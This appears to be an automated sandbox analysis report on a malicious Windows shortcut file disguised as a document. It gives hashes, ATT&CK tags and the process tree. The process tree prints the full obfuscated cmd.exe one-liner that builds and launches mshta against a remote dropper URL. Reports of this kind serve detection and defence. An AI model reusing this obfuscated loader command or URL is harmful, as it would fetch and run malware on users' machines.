8519de90eaf6ed5954e79539e6b3c714d43e86384eac799313a6865401c4883c

Analysis

max time kernel
149s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 13:32

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General

Target
DOC-TUDG22.lnk
Size 2KB
Sample260803-qs6dfazeld
SHA256 8519de90eaf6ed5954e79539e6b3c714d43e86384eac799313a6865401c4883c
MD5 c629c38d9732cf18a5b74df69d80d10b
SHA1 c404fe8bc5feee82500f884d38e900c3f0c681be
SHA512 07f6263d3d08d3b71622b7224d2355077bd75c4f5fa5797bf69ccceddc98155b5c4908bc32b8eba66adec7e47a02300062f9129b44b30b8037170372130f28af
TLSH
T11C418B503AED06D8F2FB8F72ADBE279448BFB9556D70D18D0450824D1422B01D573B63
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1364	cmd.exe
2292	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1364 wrote to memory of 2292	1364	cmd.exe	87
PID 2292 wrote to memory of 2204	2292	cmd.exe	88

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-TUDG22.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1364
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /d /v:on /c "set IEiDQ=bakbnofkcbak&set sBHxT=ystab6d&&set ruPQ=brjv&&set aRpR=jtwn&set yHbE=hfmshqal&&set ncNCV=vttc7&&set QNt=q6a73&set bR=oldsbamytzrcpxold&set hWTrx=tmphpymtlwzsviqtmp&set AD=tmppjbeciicukebsetiktmp&set Ki=sysguquviwprgoicmtchpsys&set jdeVj=infqggphidomprmvwxbinf&set VlnMa=datomhfqbqpndat&&set Ck=ht@t@ps:@//@b@r@o@-p@[email protected]@t/h/e@sta@gio@[email protected]?r@=3@6@0@761F@1@5794&&start /b !yHbE:~2,3!!ncNCV:~1,1!!QNt:~2,1! !Ck:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2292
- - C:\Windows\System32\mshta.exe
    mshta https://bro-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:2204

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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